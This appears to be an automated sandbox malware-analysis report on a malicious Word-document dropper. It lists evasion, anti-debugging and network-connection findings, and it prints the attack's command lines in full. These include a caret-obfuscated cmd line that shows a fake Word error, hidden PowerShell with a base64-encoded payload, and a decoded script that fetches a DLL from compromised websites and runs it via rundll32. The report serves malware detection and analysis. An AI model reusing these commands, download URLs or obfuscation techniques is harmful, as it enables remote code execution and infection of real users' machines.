Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2516 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: powershell.exe, 00000005.00000002.2109740274.0000000000364000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001D4D mov eax, dword ptr fs:[00000030h] 7_2_10001D4D
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory protected: page execute read | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 217.160.169.110 144 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 51.255.203.164 144 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 51.15.7.145 80 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 84.232.229.24 80 Jump to behavior
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded $9Ms63 = [TyPe]("{0}{2}{1}{3}" -f 'SYstE','O.Direc','m.I','tOrY'); SEt-vArIABle yQKmt ( [TyPE]("{0}{5}{7}{4}{8}{1}{6}{3}{2}"-f'SYS','ICepoInT','eR','AG','.SeR','tEM.Ne','mAN','T','V') ); $Bb2u2c9=$X27F + [char](64) + $Z12G;$R84F=('Q2'+'0L'); ( chiLditem vaRiable:9MS63).valuE::"crEatE`DI`RecTORy"($HOME + (('W'+'0f'+'O'+'cm'+'d_'+'k'+('eW0'+'f')+('Qqw8nb'+'hW'+'0f'))."RE`pLacE"(([CHAR]87+[CHAR]48+[CHAR]102),'\')));$M67N=(('M'+'29')+'D'); $YQKMt::"sEC`U`RIt`YProt`Ocol" = ('T'+('l'+'s12'));$L10B=('P'+('68'+'R'));$Uzi1h1q = ('A'+('30'+'F'));$L55O=('T'+('67'+'Y'));$Rdtal4v=$HOME+(('{0}Ocm'+'d'+'_ke{'+'0}Qq'+('w'+'8nb')+'h'+'{0}')-F[ChaR]92)+$Uzi1h1q+('.d'+'ll');$L72Q=('X4'+'_S');$Nszo8i1=('sg'+(' yw'+' a')+('h://ket'+'or'+'e')+('se'+'t')+('m'+'e.com/')+('w'+'p-')+('c'+'on')+'t'+'e'+('nt'+'/Rk')+'4r'+'z/'+('@s'+'g yw'+' a')+'h'+':/'+'/i'+('nte'+'lli')+'s'+('a'+'vvy.c')+'o'+'m/'+('wp'+'-')+('admin'+'/d'+'R')+'aG'+('2H'+'/@sg')+' '+('y'+'w ')+('a'+'hs:')+'/'+'/m'+('rv'+'e'+'ggy.c')+('o'+'m/')+'wp'+('-adm'+'i')+('n/'+'n')+'/@'+'s'+'g '+('yw ahs'+'://h'+'b')+'pr'+('ivile'+'g'+'ed')+('.com'+'/c'+'gi'+'-bin/Q')+('g'+'/@')+('s'+'g ')+'yw'+(' ahs:'+'/')+('/theo'+'.')+'d'+('ig'+'i')+('tal'+'/w')+('p'+'-ad'+'min')+('/'+'Zyl')+'2'+('/@'+'s')+'g '+('yw ah'+'s:'+'//u')+'mm'+'ah'+'s'+('ta'+'rs.')+('c'+'om/')+'a'+'pp'+'_'+'ol'+'d'+'_m'+'a'+('y_'+'2')+'0'+'18'+'/a'+('sset'+'s')+('/'+'wDL8x/@sg'+' ')+('yw'+' ahs:/')+'/w'+'w'+('w.t'+'ee')+('le'+'kded')+'.c'+('om'+'/c')+('gi-b'+'i')+('n
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $9Ms63 = [TyPe]("{0}{2}{1}{3}" -f 'SYstE','O.Direc','m.I','tOrY'); SEt-vArIABle yQKmt ( [TyPE]("{0}{5}{7}{4}{8}{1}{6}{3}{2}"-f'SYS','ICepoInT','eR','AG','.SeR','tEM.Ne','mAN','T','V') ); $Bb2u2c9=$X27F + [char](64) + $Z12G;$R84F=('Q2'+'0L'); ( chiLditem vaRiable:9MS63).valuE::"crEatE`DI`RecTORy"($HOME + (('W'+'0f'+'O'+'cm'+'d_'+'k'+('eW0'+'f')+('Qqw8nb'+'hW'+'0f'))."RE`pLacE"(([CHAR]87+[CHAR]48+[CHAR]102),'\')));$M67N=(('M'+'29')+'D'); $YQKMt::"sEC`U`RIt`YProt`Ocol" = ('T'+('l'+'s12'));$L10B=('P'+('68'+'R'));$Uzi1h1q = ('A'+('30'+'F'));$L55O=('T'+('67'+'Y'));$Rdtal4v=$HOME+(('{0}Ocm'+'d'+'_ke{'+'0}Qq'+('w'+'8nb')+'h'+'{0}')-F[ChaR]92)+$Uzi1h1q+('.d'+'ll');$L72Q=('X4'+'_S');$Nszo8i1=('sg'+(' yw'+' a')+('h://ket'+'or'+'e')+('se'+'t')+('m'+'e.com/')+('w'+'p-')+('c'+'on')+'t'+'e'+('nt'+'/Rk')+'4r'+'z/'+('@s'+'g yw'+' a')+'h'+':/'+'/i'+('nte'+'lli')+'s'+('a'+'vvy.c')+'o'+'m/'+('wp'+'-')+('admin'+'/d'+'R')+'aG'+('2H'+'/@sg')+' '+('y'+'w ')+('a'+'hs:')+'/'+'/m'+('rv'+'e'+'ggy.c')+('o'+'m/')+'wp'+('-adm'+'i')+('n/'+'n')+'/@'+'s'+'g '+('yw ahs'+'://h'+'b')+'pr'+('ivile'+'g'+'ed')+('.com'+'/c'+'gi'+'-bin/Q')+('g'+'/@')+('s'+'g ')+'yw'+(' ahs:'+'/')+('/theo'+'.')+'d'+('ig'+'i')+('tal'+'/w')+('p'+'-ad'+'min')+('/'+'Zyl')+'2'+('/@'+'s')+'g '+('yw ah'+'s:'+'//u')+'mm'+'ah'+'s'+('ta'+'rs.')+('c'+'om/')+'a'+'pp'+'_'+'ol'+'d'+'_m'+'a'+('y_'+'2')+'0'+'18'+'/a'+('sset'+'s')+('/'+'wDL8x/@sg'+' ')+('yw'+' ahs:/')+'/w'+'w'+('w.t'+'ee')+('le'+'kded')+'.c'+('om'+'/c')+('gi-b'+'i')+('n Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',EFdBQhtlp Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',EsaISiHxs Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',#1 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnAC